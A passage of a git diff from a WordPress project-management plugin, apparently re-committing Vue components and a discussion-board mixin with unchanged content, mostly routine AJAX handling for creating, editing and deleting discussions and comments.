function (el, binding, vnode) { + PM_mytask.chart(el, binding, vnode); + } +}); + +pm.Vue.directive('pm-mytask-pichart', { + inserted: function (element, binding, vnode){ + PM_PI.update( element, binding, vnode); + }, + update: function (element, binding, vnode){ + PM_PI.update( element, binding, vnode); + } +}); diff --git a/views/assets/src/components/my-tasks/search-task.vue b/views/assets/src/components/my-tasks/search-task.vue index 435636905..534d7ecf3 100644 --- a/views/assets/src/components/my-tasks/search-task.vue +++ b/views/assets/src/components/my-tasks/search-task.vue @@ -1,630 +1,630 @@ - - - - - - + + + + + + diff --git a/views/assets/src/components/my-tasks/task.vue b/views/assets/src/components/my-tasks/task.vue index a8e2f72ad..bf24ecac2 100644 --- a/views/assets/src/components/my-tasks/task.vue +++ b/views/assets/src/components/my-tasks/task.vue @@ -1,157 +1,157 @@ - - - - - + + + + + diff --git a/views/assets/src/components/premium/MoreProFeatures.vue b/views/assets/src/components/premium/MoreProFeatures.vue index d10c35877..f1c208b00 100644 --- a/views/assets/src/components/premium/MoreProFeatures.vue +++ b/views/assets/src/components/premium/MoreProFeatures.vue @@ -1,155 +1,155 @@ - - - - + + + + diff --git a/views/assets/src/components/pro-task-lists/subtask-lists.vue b/views/assets/src/components/pro-task-lists/subtask-lists.vue index 3316a6bd3..7740a2d06 100644 --- a/views/assets/src/components/pro-task-lists/subtask-lists.vue +++ b/views/assets/src/components/pro-task-lists/subtask-lists.vue @@ -1,321 +1,321 @@ - - - - - + + + + + diff --git a/views/assets/src/components/pro-task-lists/task-label.vue b/views/assets/src/components/pro-task-lists/task-label.vue index 39bf4e2f8..1f167a5f0 100644 --- a/views/assets/src/components/pro-task-lists/task-label.vue +++ b/views/assets/src/components/pro-task-lists/task-label.vue @@ -1,204 +1,204 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-discussions/discussions.vue b/views/assets/src/components/project-discussions/discussions.vue index 151e9be14..0049d4958 100644 --- a/views/assets/src/components/project-discussions/discussions.vue +++ b/views/assets/src/components/project-discussions/discussions.vue @@ -1,247 +1,247 @@ - - - - - - + + + + + + diff --git a/views/assets/src/components/project-discussions/individual-discussions.vue b/views/assets/src/components/project-discussions/individual-discussions.vue index 6562c415c..9c237810e 100644 --- a/views/assets/src/components/project-discussions/individual-discussions.vue +++ b/views/assets/src/components/project-discussions/individual-discussions.vue @@ -1,242 +1,242 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-discussions/mixin.js b/views/assets/src/components/project-discussions/mixin.js index 42d3576be..de3c4ed83 100644 --- a/views/assets/src/components/project-discussions/mixin.js +++ b/views/assets/src/components/project-discussions/mixin.js @@ -1,636 +1,636 @@ - -export default { - data () { - return { - - } - }, - methods: { - can_create_message () { - return this.user_can("create_message"); - }, - can_edit_message (message) { - var user = PM_Vars.current_user; - if (this.is_manager()) { - return true; - } - - if ( message.creator.data.id == user.ID ){ - return true; - } - - return false; - }, - showHideDiscussForm (status, discuss) { - var discuss = discuss || false, - discuss = jQuery.isEmptyObject(discuss) ? false : discuss; - - if ( discuss && typeof discuss.edit_mode != 'undefined' ) { - if ( status === 'toggle' ) { - discuss.edit_mode = discuss.edit_mode ? false : true; - } else { - discuss.edit_mode = status; - } - } else { - this.$store.commit( 'projectDiscussions/showHideDiscussForm', status); - } - }, - - showHideDiscussCommentForm (status, comment) { - if ( status === 'toggle' ) { - comment.edit_mode = comment.edit_mode ? false : true; - } else { - comment.edit_mode = status; - } - }, - - getDiscussion (args) { - var self = this; - var pre_define = { - conditions: { - with: 'comments', - per_page: 20, - page: 1, - }, - callback: false - }; - - var args = jQuery.extend(true, pre_define, args ); - var conditions = self.generateConditions(args.conditions); - - var request = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards?'+ conditions, - success (res) { - res.data.map(function(discuss, index) { - self.addDiscussMeta(discuss); - }); - self.$store.commit( 'projectDiscussions/setDiscussion', res.data ); - self.$store.commit( 'projectDiscussions/setDiscussionMeta', res.meta ); - - if (typeof args.callback === 'function') { - args.callback(res.data); - } - } - }; - self.httpRequest(request); - }, - - getDiscuss (args) { - var self = this; - var pre_define = { - conditions: { - with: 'comments', - }, - callback: false - }; - - var args = jQuery.extend(true, pre_define, args ); - var conditions = self.generateConditions(args.conditions); - - var request = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards/'+self.$route.params.discussion_id+'?'+conditions, ///with=comments', - success (res) { - self.addDiscussMeta(res.data); - self.$store.commit( 'projectDiscussions/setDiscuss', res.data ); - - if(typeof args.callback === 'function' ) { - args.callback(res.data); - } - } - }; - self.httpRequest(request); - }, - - addDiscussMeta (discuss) { - var self = this; - discuss.edit_mode = false; - - if (typeof discuss.comments !== 'undefined' ) { - discuss.comments.data.map(function(comment, index) { - self.addCommentMeta(comment); - }); - } - }, - - setCurrentPageNumber () { - var self = this; - var current_page_number = self.$route.params.current_page_number ? self.$route.params.current_page_number : 1; - self.current_page_number = current_page_number; - return current_page_number; - }, - - /** - * Insert and edit task - * - * @return void - */ - newDiscuss: function(args) { - // Exit from this function, If submit button disabled - if ( this.submit_disabled ) { - //return; - } - // Disable submit button for preventing multiple click - this.submit_disabled = true; - - var self = this; - var pre_define = {}; - var args = jQuery.extend(true, pre_define, args ); - var data = new FormData(); - - data.append('title', args.title); - data.append('description', args.description); - data.append('milestone', args.milestone_id); - data.append('notify_users', args.notify_users); - data.append('order', 0); - - args.deleted_files.map(function(del_file) { - data.append('files_to_delete[]', del_file); - }); - - args.files.map(function(file) { - if ( typeof file.attachment_id === 'undefined' ) { - var decode = self.dataURLtoFile(file.thumb, file.name); - data.append( 'files[]', decode ); - } - }); - - // Showing loading option - this.show_spinner = true; - data = pm_apply_filters( 'before_discuss_save', data ); - var request_data = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards', - type: 'POST', - data: data, - cache: false, - contentType: false, - processData: false, - success (res) { - - // Display a success toast, with a title - pm.Toastr.success(res.message); - self.submit_disabled = false; - self.show_spinner = false; - self.addDiscussMeta(res.data); - self.showHideDiscussForm(false); - self.$root.$emit( 'after_comment' ); - self.$store.commit( 'projectDiscussions/newDiscuss', res.data ); - self.$store.commit( 'projectDiscussions/updateMetaAfterNewDiscussion' ); - self.$store.commit('updateProjectMeta', 'total_activities'); - self.$store.commit('updateProjectMeta', 'total_discussion_boards'); - - - if (typeof args.callback === 'function') { - args.callback(res.data); - } - }, - - error (res) { - self.show_spinner = false; - - // Showing error - if (res.status == 500 ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - if ( res.status == 400 ) { - var params = res.responseJSON.data.params; - for ( var obj in params ){ - pm.Toastr.error(params[obj][0]); - } - } - self.submit_disabled = false; - } - } - self.httpRequest(request_data); - }, - - updateDiscuss (args) { - // Exit from this function, If submit button disabled - if ( this.submit_disabled ) { - return; - } - - var self = this; - var pre_define = {}; - var args = jQuery.extend(true, pre_define, args ); - var data = new FormData(); - - // Disable submit button for preventing multiple click - this.submit_disabled = true; - - data.append('title', args.title); - data.append('description', args.description); - data.append('milestone', args.milestone_id); - data.append('notify_users', args.notify_users); - data.append('order', 0); - - args.deleted_files.map(function(del_file) { - data.append('files_to_delete[]', del_file); - }); - - - args.files.map(function(file) { - if ( typeof file.attachment_id === 'undefined' ) { - var decode = self.dataURLtoFile(file.thumb, file.name); - data.append( 'files[]', decode ); - } - }); - - // Showing loading option - this.show_spinner = true; - data = pm_apply_filters( 'before_discuss_save', data ); - var request_data = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards/'+this.discuss.id, - type: 'POST', - data: data, - cache: false, - contentType: false, - processData: false, - success (res) { - self.show_spinner = false; - // Display a success toast, with a title - pm.Toastr.success(res.message); - self.addDiscussMeta(res.data); - self.submit_disabled = false; - - self.showHideDiscussForm(false, self.discuss); - - self.$store.commit( 'projectDiscussions/updateDiscuss', res.data ); - self.$root.$emit( 'after_comment' ); - self.$store.commit('updateProjectMeta', 'total_activities'); - - if (typeof args.callback === 'function') { - args.callback(res.data); - } - }, - - error (res) { - self.show_spinner = false; - // Showing error - if (res.status == 500 ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - if ( res.status == 400 ) { - var params = res.responseJSON.data.params; - for ( var obj in params ){ - pm.Toastr.error(params[obj][0]); - } - } - self.submit_disabled = false; - } - } - self.httpRequest(request_data); - }, - - lockUnlock (discuss) { - var self = this; - var data = { - is_private: discuss.meta.privacy == '0' ? 1 : 0 - } - var request_data = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards/privacy/'+discuss.id, - type: 'POST', - data: data, - success (res) { - - if (typeof discuss.callback === 'function') { - discuss.callback(res.data); - } - - self.$store.commit('projectDiscussions/updatePrivacy', { - privacy: data.is_private, - project_id: self.project_id, - discuss_id: discuss.id - - }); - }, - - error (res) { - if (res.status == 500 ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - - } - } - self.httpRequest(request_data); - }, - - newComment (args) { - // Exit from this function, If submit button disabled - if ( this.submit_disabled ) { - return; - } - - // Disable submit button for preventing multiple click - this.submit_disabled = true; - - var self = this; - var pre_define = {}; - var args = jQuery.extend(true, pre_define, args ); - var data = new FormData(); - - data.append('content', args.content ); - data.append('mentioned_users', args.mentioned_users ); - data.append('commentable_id', args.commentable_id ); - data.append('commentable_type', args.commentable_type); //'discussion-board' - data.append('notify_users', args.notify_users); - - args.files.map(function(file) { - if ( typeof file.attachment_id === 'undefined' ) { - var decode = self.dataURLtoFile(file.thumb, file.name); - data.append( 'files[]', decode ); - } - }); - - data.append('is_admin', PM_Vars.is_admin); - - // Showing loading option - this.show_spinner = true; - - var request_data = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/comments', - type: 'POST', - data: data, - cache: false, - contentType: false, - processData: false, - success (res) { - self.addCommentMeta(res.data); - self.files = []; - //self.getDiscuss(self); - self.show_spinner = false; - // Display a success toast, with a title - pm.Toastr.success(res.message); - - self.submit_disabled = false; - - self.showHideDiscussCommentForm(false, self.comment); - - //self.$root.$emit('after_comment'); - - self.$store.commit( 'projectDiscussions/afterNewComment', - { - 'comment': res.data, - 'commentable_id': args.commentable_id - } - ); - - self.$store.commit('updateProjectMeta', 'total_activities'); - - if (typeof args.callback === 'function') { - args.callback(res.data); - } - }, - - error (res) { - self.show_spinner = false; - - // Showing error - if (res.status == 500 ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - if ( res.status == 400 ) { - var params = res.responseJSON.data.params; - for ( var obj in params ){ - pm.Toastr.error(params[obj][0]); - } - } - self.submit_disabled = false; - } - } - - self.httpRequest(request_data); - }, - - updateComment (args) { - // Exit from this function, If submit button disabled - if ( this.submit_disabled ) { - return; - } - - // Disable submit button for preventing multiple click - this.submit_disabled = true; - - var self = this; - var pre_define = {}; - var args = jQuery.extend(true, pre_define, args ); - var data = new FormData(); - - data.append('content', args.content ); - data.append('mentioned_users', args.mentioned_users ); - data.append('commentable_id', args.commentable_id ); - data.append('commentable_type', args.commentable_type); //'discussion-board' - data.append('notify_users', args.notify_users); - - args.deleted_files.map(function(del_file) { - data.append('files_to_delete[]', del_file); - }); - - args.files.map(function(file) { - if ( typeof file.attachment_id === 'undefined' ) { - var decode = self.dataURLtoFile(file.thumb, file.name); - data.append( 'files[]', decode ); - } - }); - - data.append('is_admin', PM_Vars.is_admin); - - // Showing loading option - this.show_spinner = true; - - var request_data = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/comments/'+args.comment_id, - type: 'POST', - data: data, - cache: false, - contentType: false, - processData: false, - success (res) { - self.addCommentMeta(res.data); - self.files = []; - //self.getDiscuss(self); - self.show_spinner = false; - // Display a success toast, with a title - pm.Toastr.success(res.message); - - self.submit_disabled = false; - - self.showHideDiscussCommentForm(false, self.comment); - - //self.$root.$emit('after_comment', true); - - self.$store.commit( - 'projectDiscussions/afterUpdateComment', - { - 'comment': res.data, - 'commentable_id': args.commentable_id, - 'comment_id': args.comment_id - } - ); - self.$store.commit('updateProjectMeta', 'total_activities'); - - if (typeof args.callback === 'function') { - args.callback(res.data); - } - }, - - error (res) { - self.show_spinner = false; - - // Showing error - if (res.status == 500 ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - if ( res.status == 400 ) { - var params = res.responseJSON.data.params; - for ( var obj in params ){ - pm.Toastr.error(params[obj][0]); - } - } - self.submit_disabled = false; - } - } - - self.httpRequest(request_data); - }, - - addCommentMeta (comment) { - comment.edit_mode = false; - }, - - deleteDiscuss (args) { - if ( ! confirm( this.__( 'Are you sure?', 'wedevs-project-manager') ) ) { - return; - } - var self = this; - var pre_define = { - discuss_id: false, - callback: false - }; - - var args = jQuery.extend(true, pre_define, args ); - - var request_data = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards/' + args.discuss_id+'/delete', - type: 'POST', - success (res) { - self.$store.commit('projectDiscussions/afterDeleteDiscuss', args.discuss_id); - - if (!self.$store.state.projectDiscussions.discussion.length) { - self.$router.push({ - name: 'discussions', - params: { - project_id: self.project_id - } - }); - } else { - self.getDiscussion(); - } - self.$store.commit('decrementProjectMeta', 'total_discussion_boards'); - self.$store.commit('updateProjectMeta', 'total_activities'); - - pm.Toastr.success(res.message); - if (typeof args.callback === 'function') { - args.callback(); - } - }, - - error ( res ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - } - - self.httpRequest(request_data); - }, - - deleteComment(args){ - if ( ! confirm( this.__( 'Are you sure to delete this comment?', 'wedevs-project-manager') ) ) { - return; - } - - var self = this; - var pre_define = { - comment_id: false, - callback: false, - commentable_id: false - }; - - var args = jQuery.extend(true, pre_define, args); - - var request_data = { - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/comments/'+ args.comment_id+'/delete', - type: 'POST', - success: function(res) { - pm.Toastr.success(res.message); - self.$store.commit('projectDiscussions/afterDeleteComment', { - comment_id: args.comment_id, - commentable_id: args.commentable_id - } ); - self.$store.commit('updateProjectMeta', 'total_activities'); - }, - error (res) { - if (res.status == 500 ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - } - } - - self.httpRequest(request_data); - }, - - viewAction (blank, discuss) { - var blank = blank || false; - var discuss = discuss || false; - - this.$store.commit('projectDiscussions/balankTemplateStatus', blank); - this.$store.commit('projectDiscussions/discussTemplateStatus', discuss); - }, - - lazyAction() { - var discussion = this.$store.state.projectDiscussions.discussion; - - if(discussion.length){ - this.viewAction(false, true); - } - - if(!discussion.length){ - this.viewAction(true, false); - } - }, - privateClass ( discuss ){ - if( typeof discuss.meta.privacy !== 'undefined' ){ - if ( discuss.meta.privacy == 1 ){ - return 'dashicons dashicons-lock' - }else { - return 'dashicons dashicons-unlock' - } - } - }, - - getMatches(string, regex, index) { - index || (index = 1); - - var matches = []; - var match; - while (match = regex.exec(string)) { - matches.push(match[index]); - } - - return matches; - } - - }, -}; + +export default { + data () { + return { + + } + }, + methods: { + can_create_message () { + return this.user_can("create_message"); + }, + can_edit_message (message) { + var user = PM_Vars.current_user; + if (this.is_manager()) { + return true; + } + + if ( message.creator.data.id == user.ID ){ + return true; + } + + return false; + }, + showHideDiscussForm (status, discuss) { + var discuss = discuss || false, + discuss = jQuery.isEmptyObject(discuss) ? false : discuss; + + if ( discuss && typeof discuss.edit_mode != 'undefined' ) { + if ( status === 'toggle' ) { + discuss.edit_mode = discuss.edit_mode ? false : true; + } else { + discuss.edit_mode = status; + } + } else { + this.$store.commit( 'projectDiscussions/showHideDiscussForm', status); + } + }, + + showHideDiscussCommentForm (status, comment) { + if ( status === 'toggle' ) { + comment.edit_mode = comment.edit_mode ? false : true; + } else { + comment.edit_mode = status; + } + }, + + getDiscussion (args) { + var self = this; + var pre_define = { + conditions: { + with: 'comments', + per_page: 20, + page: 1, + }, + callback: false + }; + + var args = jQuery.extend(true, pre_define, args ); + var conditions = self.generateConditions(args.conditions); + + var request = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards?'+ conditions, + success (res) { + res.data.map(function(discuss, index) { + self.addDiscussMeta(discuss); + }); + self.$store.commit( 'projectDiscussions/setDiscussion', res.data ); + self.$store.commit( 'projectDiscussions/setDiscussionMeta', res.meta ); + + if (typeof args.callback === 'function') { + args.callback(res.data); + } + } + }; + self.httpRequest(request); + }, + + getDiscuss (args) { + var self = this; + var pre_define = { + conditions: { + with: 'comments', + }, + callback: false + }; + + var args = jQuery.extend(true, pre_define, args ); + var conditions = self.generateConditions(args.conditions); + + var request = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards/'+self.$route.params.discussion_id+'?'+conditions, ///with=comments', + success (res) { + self.addDiscussMeta(res.data); + self.$store.commit( 'projectDiscussions/setDiscuss', res.data ); + + if(typeof args.callback === 'function' ) { + args.callback(res.data); + } + } + }; + self.httpRequest(request); + }, + + addDiscussMeta (discuss) { + var self = this; + discuss.edit_mode = false; + + if (typeof discuss.comments !== 'undefined' ) { + discuss.comments.data.map(function(comment, index) { + self.addCommentMeta(comment); + }); + } + }, + + setCurrentPageNumber () { + var self = this; + var current_page_number = self.$route.params.current_page_number ? self.$route.params.current_page_number : 1; + self.current_page_number = current_page_number; + return current_page_number; + }, + + /** + * Insert and edit task + * + * @return void + */ + newDiscuss: function(args) { + // Exit from this function, If submit button disabled + if ( this.submit_disabled ) { + //return; + } + // Disable submit button for preventing multiple click + this.submit_disabled = true; + + var self = this; + var pre_define = {}; + var args = jQuery.extend(true, pre_define, args ); + var data = new FormData(); + + data.append('title', args.title); + data.append('description', args.description); + data.append('milestone', args.milestone_id); + data.append('notify_users', args.notify_users); + data.append('order', 0); + + args.deleted_files.map(function(del_file) { + data.append('files_to_delete[]', del_file); + }); + + args.files.map(function(file) { + if ( typeof file.attachment_id === 'undefined' ) { + var decode = self.dataURLtoFile(file.thumb, file.name); + data.append( 'files[]', decode ); + } + }); + + // Showing loading option + this.show_spinner = true; + data = pm_apply_filters( 'before_discuss_save', data ); + var request_data = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards', + type: 'POST', + data: data, + cache: false, + contentType: false, + processData: false, + success (res) { + + // Display a success toast, with a title + pm.Toastr.success(res.message); + self.submit_disabled = false; + self.show_spinner = false; + self.addDiscussMeta(res.data); + self.showHideDiscussForm(false); + self.$root.$emit( 'after_comment' ); + self.$store.commit( 'projectDiscussions/newDiscuss', res.data ); + self.$store.commit( 'projectDiscussions/updateMetaAfterNewDiscussion' ); + self.$store.commit('updateProjectMeta', 'total_activities'); + self.$store.commit('updateProjectMeta', 'total_discussion_boards'); + + + if (typeof args.callback === 'function') { + args.callback(res.data); + } + }, + + error (res) { + self.show_spinner = false; + + // Showing error + if (res.status == 500 ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + if ( res.status == 400 ) { + var params = res.responseJSON.data.params; + for ( var obj in params ){ + pm.Toastr.error(params[obj][0]); + } + } + self.submit_disabled = false; + } + } + self.httpRequest(request_data); + }, + + updateDiscuss (args) { + // Exit from this function, If submit button disabled + if ( this.submit_disabled ) { + return; + } + + var self = this; + var pre_define = {}; + var args = jQuery.extend(true, pre_define, args ); + var data = new FormData(); + + // Disable submit button for preventing multiple click + this.submit_disabled = true; + + data.append('title', args.title); + data.append('description', args.description); + data.append('milestone', args.milestone_id); + data.append('notify_users', args.notify_users); + data.append('order', 0); + + args.deleted_files.map(function(del_file) { + data.append('files_to_delete[]', del_file); + }); + + + args.files.map(function(file) { + if ( typeof file.attachment_id === 'undefined' ) { + var decode = self.dataURLtoFile(file.thumb, file.name); + data.append( 'files[]', decode ); + } + }); + + // Showing loading option + this.show_spinner = true; + data = pm_apply_filters( 'before_discuss_save', data ); + var request_data = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards/'+this.discuss.id, + type: 'POST', + data: data, + cache: false, + contentType: false, + processData: false, + success (res) { + self.show_spinner = false; + // Display a success toast, with a title + pm.Toastr.success(res.message); + self.addDiscussMeta(res.data); + self.submit_disabled = false; + + self.showHideDiscussForm(false, self.discuss); + + self.$store.commit( 'projectDiscussions/updateDiscuss', res.data ); + self.$root.$emit( 'after_comment' ); + self.$store.commit('updateProjectMeta', 'total_activities'); + + if (typeof args.callback === 'function') { + args.callback(res.data); + } + }, + + error (res) { + self.show_spinner = false; + // Showing error + if (res.status == 500 ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + if ( res.status == 400 ) { + var params = res.responseJSON.data.params; + for ( var obj in params ){ + pm.Toastr.error(params[obj][0]); + } + } + self.submit_disabled = false; + } + } + self.httpRequest(request_data); + }, + + lockUnlock (discuss) { + var self = this; + var data = { + is_private: discuss.meta.privacy == '0' ? 1 : 0 + } + var request_data = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards/privacy/'+discuss.id, + type: 'POST', + data: data, + success (res) { + + if (typeof discuss.callback === 'function') { + discuss.callback(res.data); + } + + self.$store.commit('projectDiscussions/updatePrivacy', { + privacy: data.is_private, + project_id: self.project_id, + discuss_id: discuss.id + + }); + }, + + error (res) { + if (res.status == 500 ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + + } + } + self.httpRequest(request_data); + }, + + newComment (args) { + // Exit from this function, If submit button disabled + if ( this.submit_disabled ) { + return; + } + + // Disable submit button for preventing multiple click + this.submit_disabled = true; + + var self = this; + var pre_define = {}; + var args = jQuery.extend(true, pre_define, args ); + var data = new FormData(); + + data.append('content', args.content ); + data.append('mentioned_users', args.mentioned_users ); + data.append('commentable_id', args.commentable_id ); + data.append('commentable_type', args.commentable_type); //'discussion-board' + data.append('notify_users', args.notify_users); + + args.files.map(function(file) { + if ( typeof file.attachment_id === 'undefined' ) { + var decode = self.dataURLtoFile(file.thumb, file.name); + data.append( 'files[]', decode ); + } + }); + + data.append('is_admin', PM_Vars.is_admin); + + // Showing loading option + this.show_spinner = true; + + var request_data = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/comments', + type: 'POST', + data: data, + cache: false, + contentType: false, + processData: false, + success (res) { + self.addCommentMeta(res.data); + self.files = []; + //self.getDiscuss(self); + self.show_spinner = false; + // Display a success toast, with a title + pm.Toastr.success(res.message); + + self.submit_disabled = false; + + self.showHideDiscussCommentForm(false, self.comment); + + //self.$root.$emit('after_comment'); + + self.$store.commit( 'projectDiscussions/afterNewComment', + { + 'comment': res.data, + 'commentable_id': args.commentable_id + } + ); + + self.$store.commit('updateProjectMeta', 'total_activities'); + + if (typeof args.callback === 'function') { + args.callback(res.data); + } + }, + + error (res) { + self.show_spinner = false; + + // Showing error + if (res.status == 500 ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + if ( res.status == 400 ) { + var params = res.responseJSON.data.params; + for ( var obj in params ){ + pm.Toastr.error(params[obj][0]); + } + } + self.submit_disabled = false; + } + } + + self.httpRequest(request_data); + }, + + updateComment (args) { + // Exit from this function, If submit button disabled + if ( this.submit_disabled ) { + return; + } + + // Disable submit button for preventing multiple click + this.submit_disabled = true; + + var self = this; + var pre_define = {}; + var args = jQuery.extend(true, pre_define, args ); + var data = new FormData(); + + data.append('content', args.content ); + data.append('mentioned_users', args.mentioned_users ); + data.append('commentable_id', args.commentable_id ); + data.append('commentable_type', args.commentable_type); //'discussion-board' + data.append('notify_users', args.notify_users); + + args.deleted_files.map(function(del_file) { + data.append('files_to_delete[]', del_file); + }); + + args.files.map(function(file) { + if ( typeof file.attachment_id === 'undefined' ) { + var decode = self.dataURLtoFile(file.thumb, file.name); + data.append( 'files[]', decode ); + } + }); + + data.append('is_admin', PM_Vars.is_admin); + + // Showing loading option + this.show_spinner = true; + + var request_data = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/comments/'+args.comment_id, + type: 'POST', + data: data, + cache: false, + contentType: false, + processData: false, + success (res) { + self.addCommentMeta(res.data); + self.files = []; + //self.getDiscuss(self); + self.show_spinner = false; + // Display a success toast, with a title + pm.Toastr.success(res.message); + + self.submit_disabled = false; + + self.showHideDiscussCommentForm(false, self.comment); + + //self.$root.$emit('after_comment', true); + + self.$store.commit( + 'projectDiscussions/afterUpdateComment', + { + 'comment': res.data, + 'commentable_id': args.commentable_id, + 'comment_id': args.comment_id + } + ); + self.$store.commit('updateProjectMeta', 'total_activities'); + + if (typeof args.callback === 'function') { + args.callback(res.data); + } + }, + + error (res) { + self.show_spinner = false; + + // Showing error + if (res.status == 500 ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + if ( res.status == 400 ) { + var params = res.responseJSON.data.params; + for ( var obj in params ){ + pm.Toastr.error(params[obj][0]); + } + } + self.submit_disabled = false; + } + } + + self.httpRequest(request_data); + }, + + addCommentMeta (comment) { + comment.edit_mode = false; + }, + + deleteDiscuss (args) { + if ( ! confirm( this.__( 'Are you sure?', 'wedevs-project-manager') ) ) { + return; + } + var self = this; + var pre_define = { + discuss_id: false, + callback: false + }; + + var args = jQuery.extend(true, pre_define, args ); + + var request_data = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/discussion-boards/' + args.discuss_id+'/delete', + type: 'POST', + success (res) { + self.$store.commit('projectDiscussions/afterDeleteDiscuss', args.discuss_id); + + if (!self.$store.state.projectDiscussions.discussion.length) { + self.$router.push({ + name: 'discussions', + params: { + project_id: self.project_id + } + }); + } else { + self.getDiscussion(); + } + self.$store.commit('decrementProjectMeta', 'total_discussion_boards'); + self.$store.commit('updateProjectMeta', 'total_activities'); + + pm.Toastr.success(res.message); + if (typeof args.callback === 'function') { + args.callback(); + } + }, + + error ( res ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + } + + self.httpRequest(request_data); + }, + + deleteComment(args){ + if ( ! confirm( this.__( 'Are you sure to delete this comment?', 'wedevs-project-manager') ) ) { + return; + } + + var self = this; + var pre_define = { + comment_id: false, + callback: false, + commentable_id: false + }; + + var args = jQuery.extend(true, pre_define, args); + + var request_data = { + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/comments/'+ args.comment_id+'/delete', + type: 'POST', + success: function(res) { + pm.Toastr.success(res.message); + self.$store.commit('projectDiscussions/afterDeleteComment', { + comment_id: args.comment_id, + commentable_id: args.commentable_id + } ); + self.$store.commit('updateProjectMeta', 'total_activities'); + }, + error (res) { + if (res.status == 500 ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + } + } + + self.httpRequest(request_data); + }, + + viewAction (blank, discuss) { + var blank = blank || false; + var discuss = discuss || false; + + this.$store.commit('projectDiscussions/balankTemplateStatus', blank); + this.$store.commit('projectDiscussions/discussTemplateStatus', discuss); + }, + + lazyAction() { + var discussion = this.$store.state.projectDiscussions.discussion; + + if(discussion.length){ + this.viewAction(false, true); + } + + if(!discussion.length){ + this.viewAction(true, false); + } + }, + privateClass ( discuss ){ + if( typeof discuss.meta.privacy !== 'undefined' ){ + if ( discuss.meta.privacy == 1 ){ + return 'dashicons dashicons-lock' + }else { + return 'dashicons dashicons-unlock' + } + } + }, + + getMatches(string, regex, index) { + index || (index = 1); + + var matches = []; + var match; + while (match = regex.exec(string)) { + matches.push(match[index]); + } + + return matches; + } + + }, +}; diff --git a/views/assets/src/components/project-discussions/new-discuss-form.vue b/views/assets/src/components/project-discussions/new-discuss-form.vue index a12a8baa6..975895154 100644 --- a/views/assets/src/components/project-discussions/new-discuss-form.vue +++ b/views/assets/src/components/project-discussions/new-discuss-form.vue @@ -1,155 +1,155 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-files/files.vue b/views/assets/src/components/project-files/files.vue index 41d9ff880..b102cf72c 100644 --- a/views/assets/src/components/project-files/files.vue +++ b/views/assets/src/components/project-files/files.vue @@ -1,164 +1,164 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-files/pro-files.vue b/views/assets/src/components/project-files/pro-files.vue index a1fb744a3..4c89cd51a 100644 --- a/views/assets/src/components/project-files/pro-files.vue +++ b/views/assets/src/components/project-files/pro-files.vue @@ -1,139 +1,139 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-lists/directive.js b/views/assets/src/components/project-lists/directive.js index 5c06e4a62..3ce052cf2 100644 --- a/views/assets/src/components/project-lists/directive.js +++ b/views/assets/src/components/project-lists/directive.js @@ -1,157 +1,157 @@ - -var Project = { - coWorkerSearch: function(el, binding, vnode) { - - var $ = jQuery; - var pm_abort; - var context = vnode.context; - - $( ".pm-project-coworker" ).autocomplete( { - minLength: 1, - - source: function( request, response ) { - var args = { - conditions: { - query : request.term - }, - callback: function (res) { - if ( res.data.length ) { - const assignes = this.$store.state.assignees; - if ( assignes.length == 0 ) { - response( res.data ); - return; - } - const users = assignes.map( item => item.id ); - const result = res.data.filter( item => !users.includes( item.id ) ); - response( result ); - } else { - response({ - value: '0', - }); - } - } - } - - if ( pm_abort ) { - pm_abort.abort(); - } - pm_abort = context.get_search_user(args); - }, - - search: function() { - $( this ).addClass( 'pm-spinner' ); - }, - - open: function() { - var self = $( this ); - self.autocomplete( 'widget' ).css( 'z-index', 999999 ); - self.removeClass( 'pm-spinner' ); - return false; - }, - - select: function( event, ui ) { - if ( ui.item.value === '0' ) { - - $( "form.pm-user-create-form" ).find( 'input[type=text]' ).val( '' ); - - if ( parseInt(PM_Vars.can_add_user_project_create_time) == 1 ) { - $( "#pm-create-user-wrap" ).dialog( "open" ); - } - - } else { - - var has_user = context.selectedUsers.find(function(user) { - return ui.item.id === user.id ? true : false; - }); - - if (!has_user) { - context.addUserMeta(ui.item); - - context.$store.commit('updateSeletedUser', { - item: ui.item, - project_id: context.project_id - }); - } - - - $( 